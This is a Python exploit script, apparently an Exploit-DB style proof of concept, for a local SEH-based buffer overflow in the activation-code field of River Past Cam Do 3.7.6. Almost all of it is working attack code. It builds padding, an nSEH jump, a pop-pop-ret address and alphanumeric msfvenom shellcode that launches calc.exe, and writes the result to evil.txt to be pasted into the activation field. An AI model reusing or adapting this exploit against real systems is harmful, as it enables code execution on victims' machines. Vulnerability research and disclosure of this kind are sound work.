River Past Cam Do 3.7.6 - 'Activation Code' Local Buffer Overflow

#!/usr/bin/python -w

#
# Exploit Author: Chris Au
# Exploit Title:  River Past Cam Do 3.7.6 Local Buffer Overflow in Activation Code
# Date: 07-04-2019
# Vulnerable Software: River Past Cam Do 3.7.6
# Vendor Homepage: http://www.flexhex.com
# Version: 3.7.6
# Software Link: https://en.softonic.com/download/river-past-cam-do/windows/post-download?sl=1
# Tested Windows Windows XP SP3 EN
#
#
# PoC
# 1. generate evil.txt, copy contents to clipboard
# 2. open Cam Do
# 3. the application will ask you to input the activation code in order to activate it
# 4. paste contents from clipboard in the "Activation code"
# 5. select Activate
# 6. calc.exe
#

filename="evil.txt"
junk = "A" * 608
nseh = "\xeb\x09\x90\x90"
seh = "\x0e\x7d\x01\x10" ##pop pop ret rvddshow2.dll	

jmp = (
"\x58"
"\xff\xe0"
"\xe8\xf8\xff\xff\xff"
)
#msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0e\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xa4\xa6\xa8\xb8\xbc\xbd\xbe" BufferRegister=EAX -f c

shellcode = (
"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
"\x4c\x5a\x48\x4b\x32\x35\x50\x33\x30\x33\x30\x55\x30\x4d\x59"
"\x4a\x45\x30\x31\x59\x50\x43\x54\x4c\x4b\x56\x30\x36\x50\x4c"
"\x4b\x50\x52\x54\x4c\x4c\x4b\x50\x52\x42\x34\x4c\x4b\x53\x42"
"\x31\x38\x44\x4f\x38\x37\x51\x5a\x37\x56\x30\x31\x4b\x4f\x4e"
"\x4c\x47\x4c\x45\x31\x53\x4c\x35\x52\x46\x4c\x37\x50\x49\x51"
"\x58\x4f\x44\x4d\x53\x31\x59\x57\x4a\x42\x5a\x52\x51\x42\x50"
"\x57\x4c\x4b\x36\x32\x52\x30\x4c\x4b\x31\x5a\x57\x4c\x4c\x4b"
"\x30\x4c\x54\x51\x43\x48\x4d\x33\x30\x48\x45\x51\x58\x51\x46"
"\x31\x4c\x4b\x51\x49\x57\x50\x55\x51\x48\x53\x4c\x4b\x57\x39"
"\x44\x58\x4d\x33\x56\x5a\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x33"
"\x31\x58\x56\x36\x51\x4b\x4f\x4e\x4c\x49\x51\x58\x4f\x44\x4d"
"\x53\x31\x58\x47\x37\x48\x4d\x30\x32\x55\x5a\x56\x33\x33\x53"
"\x4d\x5a\x58\x37\x4b\x33\x4d\x47\x54\x33\x45\x4a\x44\x50\x58"
"\x4c\x4b\x50\x58\x56\x44\x45\x51\x38\x53\x52\x46\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x50\x58\x35\x4c\x43\x31\x49\x43\x4c\x4b"
"\x45\x54\x4c\x4b\x53\x31\x4e\x30\x4b\x39\x47\x34\x46\x44\x51"
"\x34\x31\x4b\x31\x4b\x35\x31\x50\x59\x30\x5a\x36\x31\x4b\x4f"
"\x4d\x30\x31\x4f\x51\x4f\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4c"
"\x4d\x51\x4d\x53\x5a\x43\x31\x4c\x4d\x4c\x45\x38\x32\x35\x50"
"\x55\x50\x55\x50\x56\x30\x43\x58\x56\x51\x4c\x4b\x42\x4f\x4b"
"\x37\x4b\x4f\x58\x55\x4f\x4b\x5a\x50\x48\x35\x39\x32\x51\x46"
"\x55\x38\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x49\x45\x47"
"\x4c\x33\x36\x33\x4c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x33\x45"
"\x33\x35\x4f\x4b\x30\x47\x54\x53\x32\x52\x42\x4f\x32\x4a\x43"
"\x30\x56\x33\x4b\x4f\x38\x55\x32\x43\x55\x31\x42\x4c\x53\x53"
"\x46\x4e\x52\x45\x33\x48\x52\x45\x33\x30\x41\x41")
buffer = junk + nseh + seh + jmp + shellcode
buffer += "C" * (5000-len(buffer))
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()